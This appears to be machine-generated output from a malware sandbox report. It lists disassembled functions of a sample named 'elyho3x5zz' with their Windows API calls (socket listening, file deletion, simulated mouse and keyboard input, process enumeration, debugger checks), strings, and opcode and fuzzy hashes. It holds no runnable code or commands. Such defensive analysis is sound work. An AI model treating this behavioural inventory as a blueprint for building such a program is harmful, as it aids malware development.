WSAGetLastError.WSOCK32 ref: 00007FF6292A3A94
closesocket.WSOCK32 ref: 00007FF6292A3AC0

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
Instruction ID: d9b96e26881c191bb5a29c2c64eec6a670f7376dc30969346245e2d8341bdda7
Opcode Fuzzy Hash: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
Instruction Fuzzy Hash: D341CE62A2A69286FF10DF169A5027C7760FFC5BA0F054630DE9E87792CF3DE0519706

Function 00007FF6292A8360 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 331COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00007FF6292A8831
Not an Object type, xrefs: 00007FF6292A83EA

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 3b41e49848b2a854f69dbea14d55eff9d78a714003a2fd806a44bf0603c53a60
Instruction ID: b230943d06f33b832084871785ad87c3c2c96da57034179181a790eac69610f3
Opcode Fuzzy Hash: 3b41e49848b2a854f69dbea14d55eff9d78a714003a2fd806a44bf0603c53a60
Instruction Fuzzy Hash: 04E1AF37A19B828AFF10CF25E9402AD77A0FB84B98F404236DA4D97B94DF38E549D741

Function 00007FF62928BC70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6292156D4: GetFullPathNameW.KERNEL32(?,00007FF6292156C1,?,00007FF629217A0C,?,?,?,00007FF62921109E), ref: 00007FF6292156FF

Part of subcall function 00007FF62928CED4: GetFileAttributesW.KERNEL32 ref: 00007FF62928CED8

FindFirstFileW.KERNEL32 ref: 00007FF62928BD09
DeleteFileW.KERNEL32 ref: 00007FF62928BD5B
FindNextFileW.KERNEL32 ref: 00007FF62928BD6D
FindClose.KERNEL32 ref: 00007FF62928BD7F
FindClose.KERNEL32 ref: 00007FF62928BD8A

Strings

\*.*, xrefs: 00007FF62928BCD3

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 33faa39baa03be8120850797a18634ea376334063adf963c1f4e83021c640b6d
Instruction ID: c7501cbbc6c8d00711ed56ad35a8fc6d8609f13cfa636f0f5871c0c8a8486627
Opcode Fuzzy Hash: 33faa39baa03be8120850797a18634ea376334063adf963c1f4e83021c640b6d
Instruction Fuzzy Hash: 2C418E22A39A8292FE50EF20ED406AD7364FBC4B90F901031EA5E8769ACF7CD509D711

Function 00007FF6292A4C58 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF6292A4C71

Part of subcall function 00007FF6292A0374: GetWindowRect.USER32 ref: 00007FF6292A0389

GetDesktopWindow.USER32 ref: 00007FF6292A4C93
GetWindowRect.USER32 ref: 00007FF6292A4CA0
mouse_event.USER32 ref: 00007FF6292A4CE6

Part of subcall function 00007FF62928D7F8: QueryPerformanceCounter.KERNEL32 ref: 00007FF62928D811
Part of subcall function 00007FF62928D7F8: QueryPerformanceFrequency.KERNEL32 ref: 00007FF62928D820
Part of subcall function 00007FF62928D7F8: Sleep.KERNEL32 ref: 00007FF62928D828
Part of subcall function 00007FF62928D7F8: QueryPerformanceCounter.KERNEL32 ref: 00007FF62928D833

GetCursorPos.USER32(?,?), ref: 00007FF6292A4D1A
mouse_event.USER32 ref: 00007FF6292A4D87

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$PerformanceQuery$CounterRectmouse_event$CursorDesktopForegroundFrequencySleep
String ID:
API String ID: 383626216-0
Opcode ID: d42387b76471bac3b8932b653f89b44f129081ac0d9aa200aab0c7b58dfd8027
Instruction ID: 221d05f633df75670243a56f2ee35044473e7a5272800a80ae8b0fc9bb576aad
Opcode Fuzzy Hash: d42387b76471bac3b8932b653f89b44f129081ac0d9aa200aab0c7b58dfd8027
Instruction Fuzzy Hash: 66319E33B196528BF714CF61D980BAC37A5FB88748F500235EE0A93A85DF38E949CB41

Function 00007FF62924AF58 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF62924AFD1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF62924AFE9
RtlVirtualUnwind.KERNEL32 ref: 00007FF62924B024
IsDebuggerPresent.KERNEL32 ref: 00007FF62924B05D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF62924B067
UnhandledExceptionFilter.KERNEL32 ref: 00007FF62924B072

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
Instruction ID: eb397d34cb7a1631a854d116e5015af8fcef873c99fc77af6e3c0af533f7278d
Opcode Fuzzy Hash: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
Instruction Fuzzy Hash: 96316E3662AB8186EB60CF25EC406AE73A4FBC8754F500136EA9D83B98DF3CC5458B01

Function 00007FF62929A874 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118filesleepCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF62929A8F4
FindClose.KERNEL32 ref: 00007FF62929AA15

Part of subcall function 00007FF629293824: GetInputState.USER32 ref: 00007FF629293889
Part of subcall function 00007FF629293824: PeekMessageW.USER32 ref: 00007FF629293938

Sleep.KERNEL32 ref: 00007FF62929A939
FindNextFileW.KERNEL32 ref: 00007FF62929AA00

Strings

*.*, xrefs: 00007FF62929A8B3

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState
String ID: *.*
API String ID: 1927845040-438819550
Opcode ID: 6a88b2503df8e5f85dd4c462440c0fc5a039f53792e222b5ac7c7da246e49fe0
Instruction ID: 0c2090a2dbc931e33e03d98c0d00344baf5b33e69cff4bb71ce5c2ccf15f56da
Opcode Fuzzy Hash: 6a88b2503df8e5f85dd4c462440c0fc5a039f53792e222b5ac7c7da246e49fe0
Instruction Fuzzy Hash: 12518D2261AB8295FF10DF29EE402A933B0FBC5798F614132DE4D83699DF38D949D701

Function 00007FF62921BE70 Relevance: 8.6, Strings: 6, Instructions: 1141COMMON

Download Yara Rule

Strings

ERCP, xrefs: 00007FF62921BF69
VUUU, xrefs: 00007FF62921C25F
PCRE, xrefs: 00007FF62925F4B1
VUUU, xrefs: 00007FF62921C21F
VUUU, xrefs: 00007FF62921C210
VUUU, xrefs: 00007FF62925F6FD

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: ERCP$PCRE$VUUU$VUUU$VUUU$VUUU
API String ID: 0-2187161917
Opcode ID: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
Instruction ID: c37e96d6425e70d2445e8195c5b82c8b34c06dd872ae2b86e24495567c8b0c0f
Opcode Fuzzy Hash: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
Instruction Fuzzy Hash: 27B2D576E2A69186FF28CF259A002BD37A1FB85748F105035DE4D97B89DF39E850A702

Function 00007FF62927CAB4 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 00007FF62927CAE6
GetLastError.KERNEL32 ref: 00007FF62927CAF2
GetProcessHeap.KERNEL32 ref: 00007FF62927CAFF
HeapAlloc.KERNEL32 ref: 00007FF62927CB0E
GetTokenInformation.ADVAPI32 ref: 00007FF62927CB2D

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 3045165107d4a0871487eb7a52e49b2bb276054106bd9f861ce7bf3483f017d6
Instruction ID: b93aa5ca7f3f217eb9ae36222548e37458a6057885a20f45d3c247eb5cc23ea9
Opcode Fuzzy Hash: 3045165107d4a0871487eb7a52e49b2bb276054106bd9f861ce7bf3483f017d6
Instruction Fuzzy Hash: A9118836619B8186FB10CF12E980559BBB8FBC9F80B568436DF8887B54DF38E415C741

Function 00007FF629296D04 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 308comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF629296EBC
CoCreateInstance.OLE32 ref: 00007FF629296EDF
CoUninitialize.OLE32 ref: 00007FF6292971B2

Strings

.lnk, xrefs: 00007FF629296D42, 00007FF629296DBD, 00007FF629296E68

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID: .lnk
API String ID: 948891078-24824748
Opcode ID: bb49a61337d89a9848f7780026d10ac62e6b3b39f2b5ab5deb7fc3459a4390ae
Instruction ID: 2412284c2ea814449fef580f8d4eda7e92cf117a86c7fa5cebb0e4a95902e91e
Opcode Fuzzy Hash: bb49a61337d89a9848f7780026d10ac62e6b3b39f2b5ab5deb7fc3459a4390ae
Instruction Fuzzy Hash: D2D19B22B29A5681FF00EF25D9906AD7760FFC1B88F405032EA4E87AAADF3DD505D741

Function 00007FF62924793C Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 262COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF629247A8E

Strings

!, xrefs: 00007FF629247A7A
VUUU, xrefs: 00007FF629247B5B
fmod, xrefs: 00007FF629247A58

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _handle_error
String ID: !$VUUU$fmod
API String ID: 1757819995-2579133210
Opcode ID: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
Instruction ID: 14461c9f7361c8aa43701aae9481bb74fd8fcb7be9e1aa6935445bbed2850a1f
Opcode Fuzzy Hash: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
Instruction Fuzzy Hash: 1BB11B21A2DFC444EAB38E3459113B6B26DAFEA390F10D332D95E75B64DF2C95C29B01

Function 00007FF629252D20 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629252D60

Part of subcall function 00007FF62924B184: GetCurrentProcess.KERNEL32(00007FF62924B21D), ref: 00007FF62924B1B1

Strings

., xrefs: 00007FF6292531A7
., xrefs: 00007FF629253198
*, xrefs: 00007FF629252D87

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *$.$.
API String ID: 2518042432-2112782162
Opcode ID: 10686662bc6c287608bb1927b489f0d8a7225314f89d29ff6f04aab4d96db585
Instruction ID: 01b9e157007b658e9a0c9eb4e79f534026019600983c08fa4cb4d70ddb2f4b32
Opcode Fuzzy Hash: 10686662bc6c287608bb1927b489f0d8a7225314f89d29ff6f04aab4d96db585
Instruction Fuzzy Hash: C251D162F26A5585FF14DFA6AE002BD77A4BB84BC8F549135CE0D97B88DF38E0429301

Function 00007FF6292484C0 Relevance: 7.1, APIs: 4, Instructions: 1071COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6292488E5
_get_daylight.LIBCMT ref: 00007FF6292489C3
_get_daylight.LIBCMT ref: 00007FF6292489DC

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID:
API String ID: 1286766494-0
Opcode ID: ff66785d1f33ad73d5007bcee94c477568ce16377581ab8ae86a17e1b75de420
Instruction ID: 6fbabe35a6cffd43b0cccdf90c39edcee33358e741442762c59997d88c17c8dc
Opcode Fuzzy Hash: ff66785d1f33ad73d5007bcee94c477568ce16377581ab8ae86a17e1b75de420
Instruction Fuzzy Hash: 50A2C332A3A6828AFF248F24DA5017D37A1FB85B84F146135DB4D87B98DF3DD511AB02

Function 00007FF629235BC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF629235C21
IsDebuggerPresent.KERNEL32 ref: 00007FF629235C39
OutputDebugStringW.KERNEL32 ref: 00007FF629235C4A

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF629235C43

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
Instruction ID: 89d21eceba5169f6c253effc11d134cce65dd8cdd15c2e4e5963085b939e4d80
Opcode Fuzzy Hash: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
Instruction Fuzzy Hash: 0B113A32A2AB42A6FB049F22DA557B933A8FB84345F404535D64D82A90EF3CE0A4D711

Function 00007FF629216D1C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF629216D33
GetProcAddress.KERNEL32 ref: 00007FF629216D4B

Strings

Wow64RevertWow64FsRedirection, xrefs: 00007FF629216D41
kernel32.dll, xrefs: 00007FF629216D2C

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: f93d3ff0ce366ab95d7e6c8a1355595afc9dd02f208f5495b2fec8b10b31cda7
Instruction ID: c449b3ca2f2eb677f0ae425e3b0f5eae812a6c1884084567975947ad0c8c5097
Opcode Fuzzy Hash: f93d3ff0ce366ab95d7e6c8a1355595afc9dd02f208f5495b2fec8b10b31cda7
Instruction Fuzzy Hash: DAE0ED6592BB0681FF159F20ED543A833E4FB88B48F840434C91D863A4EF7CD5A9D301

Function 00007FF629222E30 Relevance: 6.5, APIs: 2, Strings: 1, Instructions: 1264COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF62926E641

Strings

Variable must be of type 'Object'., xrefs: 00007FF62926E92D

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Init_thread_footer
String ID: Variable must be of type 'Object'.
API String ID: 1385522511-109567571
Opcode ID: 67ca3e7a743f78d31b90d9fea182e781eb55d1361cb2596d54cba276c749d1dc
Instruction ID: 66fc0cbcb8e89e4f6d69b40f0e382f18c158eb5f05105bfeb9628c644330479d
Opcode Fuzzy Hash: 67ca3e7a743f78d31b90d9fea182e781eb55d1361cb2596d54cba276c749d1dc
Instruction Fuzzy Hash: 18C28032A2A68286FF64CF15DA802B97361FBC4B84F545131DA4E87BA5CF3DE451E342

Function 00007FF62928BE00 Relevance: 6.1, APIs: 4, Instructions: 101processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF62928BE3B
Process32FirstW.KERNEL32 ref: 00007FF62928BE4B
CloseHandle.KERNEL32 ref: 00007FF62928BF55

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 02ce357f99ea2512f20365e7a5c976855fb5bc5f8675b646551cc21f1f11311e
Instruction ID: e3a18c0903376e8330ac42d132140c8b8449a072733230ff17f94790cbf4e0da
Opcode Fuzzy Hash: 02ce357f99ea2512f20365e7a5c976855fb5bc5f8675b646551cc21f1f11311e
Instruction Fuzzy Hash: 3041B222A2AA8285FF14DF61E9405BE7364FBD4B84F84403AEE8E83696DF7CD505D701

Function 00007FF629288CAC Relevance: 6.1, APIs: 4, Instructions: 89keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF629288D11
SetKeyboardState.USER32 ref: 00007FF629288D29
PostMessageW.USER32 ref: 00007FF629288D89
SendInput.USER32 ref: 00007FF629288DEC

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 5e46c45bdab3a47586a9f1d6f3cf12586a4e74534b52d5ecd50e7167bd5190cf
Instruction ID: 51f9a4c9add9de285278693fa60773febf93f0e477abeabe91c84d7c8559fcd8
Opcode Fuzzy Hash: 5e46c45bdab3a47586a9f1d6f3cf12586a4e74534b52d5ecd50e7167bd5190cf
Instruction Fuzzy Hash: EB31D221A2D68146FF38AF31AD006B93BA4FBA4B90F150131DAA9837D5CF3CE551E752

Function 00007FF6292302C4 Relevance: 5.7, Strings: 2, Instructions: 3180COMMON

Download Yara Rule

Strings

x, xrefs: 00007FF629230D61
DEFINE, xrefs: 00007FF629274A98

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

